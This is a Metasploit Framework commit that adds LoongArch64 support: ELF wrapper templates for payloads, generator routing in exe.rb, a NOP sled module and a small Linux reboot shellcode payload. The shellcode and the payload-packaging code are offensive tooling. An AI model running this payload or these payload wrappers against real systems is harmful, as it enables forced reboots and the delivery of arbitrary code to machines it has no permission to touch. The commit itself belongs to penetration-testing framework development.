Skip to content

Commit 2e000c2

Browse files
committed
Add support for LoongArch64 payloads
1 parent 93f4775 commit 2e000c2

File tree

8 files changed

+367
-0
lines changed

8 files changed

+367
-0
lines changed
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
; build with:
2+
; nasm elf_dll_loongarch64_template.s -f bin -o template_loongarch64_linux_dll.bin
3+
4+
BITS 64
5+
6+
org 0
7+
8+
ehdr: ; Elf64_Ehdr
9+
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
10+
db 0, 0, 0, 0, 0, 0, 0, 0 ;
11+
dw 3 ; e_type = ET_DYN
12+
dw 0x102 ; e_machine = LOONGARCH
13+
dd 1 ; e_version
14+
dq _start ; e_entry
15+
dq phdr - $$ ; e_phoff
16+
dq shdr - $$ ; e_shoff
17+
dd 0 ; e_flags
18+
dw ehdrsize ; e_ehsize
19+
dw phdrsize ; e_phentsize
20+
dw 2 ; e_phnum
21+
dw shentsize ; e_shentsize
22+
dw 2 ; e_shnum
23+
dw 1 ; e_shstrndx
24+
25+
ehdrsize equ $ - ehdr
26+
27+
phdr: ; Elf32_Phdr
28+
dd 1 ; p_type = PT_LOAD
29+
dd 7 ; p_flags = rwx
30+
dq 0 ; p_offset
31+
dq $$ ; p_vaddr
32+
dq $$ ; p_paddr
33+
dq 0xDEADBEEF ; p_filesz
34+
dq 0xDEADBEEF ; p_memsz
35+
dq 0x1000 ; p_align
36+
37+
phdrsize equ $ - phdr
38+
dd 2 ; p_type = PT_DYNAMIC
39+
dd 7 ; p_flags = rwx
40+
dq dynsection ; p_offset
41+
dq dynsection ; p_vaddr
42+
dq dynsection ; p_vaddr
43+
dq dynsz ; p_filesz
44+
dq dynsz ; p_memsz
45+
dq 0x1000 ; p_align
46+
47+
shdr:
48+
dd 1 ; sh_name
49+
dd 6 ; sh_type = SHT_DYNAMIC
50+
dq 0 ; sh_flags
51+
dq dynsection ; sh_addr
52+
dq dynsection ; sh_offset
53+
dq dynsz ; sh_size
54+
dd 0 ; sh_link
55+
dd 0 ; sh_info
56+
dq 8 ; sh_addralign
57+
dq 7 ; sh_entsize
58+
shentsize equ $ - shdr
59+
dd 0 ; sh_name
60+
dd 3 ; sh_type = SHT_STRTAB
61+
dq 0 ; sh_flags
62+
dq strtab ; sh_addr
63+
dq strtab ; sh_offset
64+
dq strtabsz ; sh_size
65+
dd 0 ; sh_link
66+
dd 0 ; sh_info
67+
dq 0 ; sh_addralign
68+
dq 0 ; sh_entsize
69+
70+
dynsection:
71+
; DT_INIT
72+
dq 0x0c
73+
dq _start
74+
; DT_STRTAB
75+
dq 0x05
76+
dq strtab
77+
; DT_SYMTAB
78+
dq 0x06
79+
dq strtab
80+
; DT_STRSZ
81+
dq 0x0a
82+
dq 0
83+
; DT_SYMENT
84+
dq 0x0b
85+
dq 0
86+
; DT_NULL
87+
dq 0x00
88+
dq 0
89+
90+
dynsz equ $ - dynsection
91+
92+
strtab:
93+
db 0
94+
db 0
95+
strtabsz equ $ - strtab
96+
97+
align 16
98+
global _start
99+
_start:
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
; build with:
2+
; nasm elf_loongarch64_template.s -f bin -o template_loongarch64_linux.bin
3+
4+
BITS 64
5+
6+
org 0x80400000
7+
8+
ehdr: ; Elf32_Ehdr
9+
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
10+
db 0, 0, 0, 0, 0, 0, 0, 0 ;
11+
dw 2 ; e_type = ET_EXEC for an executable
12+
dw 0x102 ; e_machine = LOONGARCH
13+
dd 1 ; e_version
14+
dq _start ; e_entry
15+
dq phdr - $$ ; e_phoff
16+
dq 0 ; e_shoff
17+
dd 0 ; e_flags
18+
dw ehdrsize ; e_ehsize
19+
dw phdrsize ; e_phentsize
20+
dw 1 ; e_phnum
21+
dw 0 ; e_shentsize
22+
dw 0 ; e_shnum
23+
dw 0 ; e_shstrndx
24+
25+
ehdrsize equ $ - ehdr
26+
27+
phdr: ; Elf32_Phdr
28+
dd 1 ; p_type = PT_LOAD
29+
dd 7 ; p_flags = rwx
30+
dq 0 ; p_offset
31+
dq $$ ; p_vaddr
32+
dq $$ ; p_paddr
33+
dq 0xDEADBEEF ; p_filesz
34+
dq 0xDEADBEEF ; p_memsz
35+
dq 0x1000 ; p_align
36+
37+
phdrsize equ $ - phdr
38+
39+
global _start
40+
41+
_start:
42+
120 Bytes
Binary file not shown.
240 Bytes
Binary file not shown.

lib/msf/util/exe.rb

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -209,6 +209,13 @@ def self.to_executable(framework, arch, plat, code = '', opts = {})
209209
# TODO: Add remaining RISCV64LE systems here
210210
end
211211

212+
if arch.index(ARCH_LOONGARCH64)
213+
if plat.index(Msf::Module::Platform::Linux)
214+
return to_linux_loongarch64_elf(framework, code)
215+
end
216+
# TODO: Add remaining LOONGARCH64 systems here
217+
end
218+
212219
nil
213220
end
214221

@@ -1314,6 +1321,28 @@ def self.to_linux_riscv32le_elf_dll(framework, code, opts = {})
13141321
to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code)
13151322
end
13161323

1324+
# Create a LOONGARCH64 64-bit LE Linux ELF containing the payload provided in +code+
1325+
#
1326+
# @param framework [Msf::Framework]
1327+
# @param code [String]
1328+
# @param opts [Hash]
1329+
# @option [String] :template
1330+
# @return [String] Returns an elf
1331+
def self.to_linux_loongarch64_elf(framework, code, opts = {})
1332+
to_exe_elf(framework, opts, "template_loongarch64_linux.bin", code)
1333+
end
1334+
1335+
# Create a LOONGARCH64 64-bit LE Linux ELF_DYN containing the payload provided in +code+
1336+
#
1337+
# @param framework [Msf::Framework]
1338+
# @param code [String]
1339+
# @param opts [Hash]
1340+
# @option [String] :template
1341+
# @return [String] Returns an elf
1342+
def self.to_linux_loongarch64_elf_dll(framework, code, opts = {})
1343+
to_exe_elf(framework, opts, "template_loongarch64_linux_dll.bin", code)
1344+
end
1345+
13171346
# self.to_exe_vba
13181347
#
13191348
# @param exes [String]
@@ -2208,6 +2237,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
22082237
to_linux_riscv32le_elf(framework, code, exeopts)
22092238
when ARCH_RISCV64LE
22102239
to_linux_riscv64le_elf(framework, code, exeopts)
2240+
when ARCH_LOONGARCH64
2241+
to_linux_loongarch64_elf(framework, code, exeopts)
22112242
end
22122243
elsif plat && plat.index(Msf::Module::Platform::BSD)
22132244
case arch
@@ -2240,6 +2271,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
22402271
to_linux_riscv32le_elf_dll(framework, code, exeopts)
22412272
when ARCH_RISCV64LE
22422273
to_linux_riscv64le_elf_dll(framework, code, exeopts)
2274+
when ARCH_LOONGARCH64
2275+
to_linux_loongarch64_elf_dll(framework, code, exeopts)
22432276
end
22442277
end
22452278
when 'macho', 'osx-app'

modules/nops/loongarch64/simple.rb

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
# This class implements a simple NOP generator for LoongArch 64-bit (Little Endian)
7+
class MetasploitModule < Msf::Nop
8+
9+
def initialize
10+
super(
11+
'Name' => 'Simple',
12+
'Alias' => 'loongarch64_simple',
13+
'Description' => 'Simple NOP generator',
14+
'License' => MSF_LICENSE,
15+
'Author' => ['bcoles'],
16+
'Arch' => ARCH_LOONGARCH64)
17+
register_advanced_options([
18+
OptBool.new('RandomNops', [false, 'Generate a random NOP sled', true]),
19+
])
20+
end
21+
22+
def generate_sled(length, opts)
23+
badchars = opts['BadChars'] || ''
24+
random = opts['Random'] || datastore['RandomNops']
25+
26+
# Safe NULL-free nops using general purpose registers ($r12 - $r31)
27+
# All instructions are NULL-free from the base ISA,
28+
# excluding optional extensions (FPU, LSX, LASX, ...)
29+
nops = [
30+
[0x03c0018c].pack('V'), # xori $t0, $t0, 0
31+
[0x03c001ad].pack('V'), # xori $t1, $t1, 0
32+
[0x03c001ce].pack('V'), # xori $t2, $t2, 0
33+
[0x03c001ef].pack('V'), # xori $t3, $t3, 0
34+
[0x03c00210].pack('V'), # xori $t4, $t4, 0
35+
[0x03c00231].pack('V'), # xori $t5, $t5, 0
36+
[0x03c00252].pack('V'), # xori $t6, $t6, 0
37+
[0x03c00273].pack('V'), # xori $t7, $t7, 0
38+
[0x03c00294].pack('V'), # xori $t8, $t8, 0
39+
[0x03c002b5].pack('V'), # xori $r21, $r21, 0
40+
[0x03c002d6].pack('V'), # xori $fp, $fp, 0
41+
[0x03c002f7].pack('V'), # xori $s0, $s0, 0
42+
[0x03c00318].pack('V'), # xori $s1, $s1, 0
43+
[0x03c00339].pack('V'), # xori $s2, $s2, 0
44+
[0x03c0035a].pack('V'), # xori $s3, $s3, 0
45+
[0x03c0037b].pack('V'), # xori $s4, $s4, 0
46+
[0x03c0039c].pack('V'), # xori $s5, $s5, 0
47+
[0x03c003bd].pack('V'), # xori $s6, $s6, 0
48+
[0x03c003de].pack('V'), # xori $s7, $s7, 0
49+
[0x03c003ff].pack('V'), # xori $s8, $s8, 0
50+
51+
[0x0380018c].pack('V'), # ori $t0, $t0, 0
52+
[0x038001ad].pack('V'), # ori $t1, $t1, 0
53+
[0x038001ce].pack('V'), # ori $t2, $t2, 0
54+
[0x038001ef].pack('V'), # ori $t3, $t3, 0
55+
[0x03800210].pack('V'), # ori $t4, $t4, 0
56+
[0x03800231].pack('V'), # ori $t5, $t5, 0
57+
[0x03800252].pack('V'), # ori $t6, $t6, 0
58+
[0x03800273].pack('V'), # ori $t7, $t7, 0
59+
[0x03800294].pack('V'), # ori $t8, $t8, 0
60+
[0x038002b5].pack('V'), # ori $r21, $r21, 0
61+
[0x038002d6].pack('V'), # ori $fp, $fp, 0
62+
[0x038002f7].pack('V'), # ori $s0, $s0, 0
63+
[0x03800318].pack('V'), # ori $s1, $s1, 0
64+
[0x03800339].pack('V'), # ori $s2, $s2, 0
65+
[0x0380035a].pack('V'), # ori $s3, $s3, 0
66+
[0x0380037b].pack('V'), # ori $s4, $s4, 0
67+
[0x0380039c].pack('V'), # ori $s5, $s5, 0
68+
[0x038003bd].pack('V'), # ori $s6, $s6, 0
69+
[0x038003de].pack('V'), # ori $s7, $s7, 0
70+
[0x038003ff].pack('V'), # ori $s8, $s8, 0
71+
72+
[0x02c0018c].pack('V'), # addi.d $t0, $t0, 0
73+
[0x02c001ad].pack('V'), # addi.d $t1, $t1, 0
74+
[0x02c001ce].pack('V'), # addi.d $t2, $t2, 0
75+
[0x02c001ef].pack('V'), # addi.d $t3, $t3, 0
76+
[0x02c00210].pack('V'), # addi.d $t4, $t4, 0
77+
[0x02c00231].pack('V'), # addi.d $t5, $t5, 0
78+
[0x02c00252].pack('V'), # addi.d $t6, $t6, 0
79+
[0x02c00273].pack('V'), # addi.d $t7, $t7, 0
80+
[0x02c00294].pack('V'), # addi.d $t8, $t8, 0
81+
[0x02c002b5].pack('V'), # addi.d $r21, $r21, 0
82+
[0x02c002d6].pack('V'), # addi.d $fp, $fp, 0
83+
[0x02c002f7].pack('V'), # addi.d $s0, $s0, 0
84+
[0x02c00318].pack('V'), # addi.d $s1, $s1, 0
85+
[0x02c00339].pack('V'), # addi.d $s2, $s2, 0
86+
[0x02c0035a].pack('V'), # addi.d $s3, $s3, 0
87+
[0x02c0037b].pack('V'), # addi.d $s4, $s4, 0
88+
[0x02c0039c].pack('V'), # addi.d $s5, $s5, 0
89+
[0x02c003bd].pack('V'), # addi.d $s6, $s6, 0
90+
[0x02c003de].pack('V'), # addi.d $s7, $s7, 0
91+
[0x02c003ff].pack('V'), # addi.d $s8, $s8, 0
92+
93+
[0x0280018c].pack('V'), # addi.w $t0, $t0, 0
94+
[0x028001ad].pack('V'), # addi.w $t1, $t1, 0
95+
[0x028001ce].pack('V'), # addi.w $t2, $t2, 0
96+
[0x028001ef].pack('V'), # addi.w $t3, $t3, 0
97+
[0x02800210].pack('V'), # addi.w $t4, $t4, 0
98+
[0x02800231].pack('V'), # addi.w $t5, $t5, 0
99+
[0x02800252].pack('V'), # addi.w $t6, $t6, 0
100+
[0x02800273].pack('V'), # addi.w $t7, $t7, 0
101+
[0x02800294].pack('V'), # addi.w $t8, $t8, 0
102+
[0x028002b5].pack('V'), # addi.w $r21, $r21, 0
103+
[0x028002d6].pack('V'), # addi.w $fp, $fp, 0
104+
[0x028002f7].pack('V'), # addi.w $s0, $s0, 0
105+
[0x02800318].pack('V'), # addi.w $s1, $s1, 0
106+
[0x02800339].pack('V'), # addi.w $s2, $s2, 0
107+
[0x0280035a].pack('V'), # addi.w $s3, $s3, 0
108+
[0x0280037b].pack('V'), # addi.w $s4, $s4, 0
109+
[0x0280039c].pack('V'), # addi.w $s5, $s5, 0
110+
[0x028003bd].pack('V'), # addi.w $s6, $s6, 0
111+
[0x028003de].pack('V'), # addi.w $s7, $s7, 0
112+
[0x028003ff].pack('V'), # addi.w $s8, $s8, 0
113+
]
114+
115+
# Remove nops containing BadChars
116+
nops.delete_if do |nop|
117+
nop.bytes.any? { |byte| badchars.force_encoding('BINARY').include?(byte.chr) }
118+
end
119+
120+
# Give up if no safe nops are available
121+
return if nops.empty?
122+
123+
# Use random instructions for all NOPs
124+
if random
125+
sled = ''
126+
(length / 4).times do
127+
sled << nops.sample
128+
end
129+
return sled
130+
end
131+
132+
# Use a single instruction for all NOPs
133+
return (nops.sample * (length / 4))
134+
end
135+
end
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 32
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
12+
def initialize(info = {})
13+
super(
14+
merge_info(
15+
info,
16+
'Name' => 'Linux Reboot',
17+
'Description' => %q{
18+
A very small shellcode for rebooting the system using
19+
the reboot syscall. This payload is sometimes helpful
20+
for testing purposes. Requires CAP_SYS_BOOT privileges.
21+
},
22+
'Author' => 'bcoles',
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'linux',
25+
'Arch' => ARCH_LOONGARCH64,
26+
'References' => [
27+
['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
28+
['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/reboot/reboot.s'],
29+
]
30+
)
31+
)
32+
end
33+
34+
def generate(_opts = {})
35+
shellcode = [
36+
0x15fdc3a4, # lu12i.w $a0, -4579
37+
0x03bab484, # ori $a0, $a0, 0xead
38+
0x14502425, # lu12i.w $a1, 164129
39+
0x03a5a4a5, # ori $a1, $a1, 0x969
40+
0x14024686, # lu12i.w $a2, 4660
41+
0x03959cc6, # ori $a2, $a2, 0x567
42+
0x0382380b, # li.w $a7, 0x8e
43+
0x002b0101, # syscall 0x101
44+
].pack('V*')
45+
46+
super.to_s + shellcode
47+
end
48+
end

0 commit comments

Comments
 (0)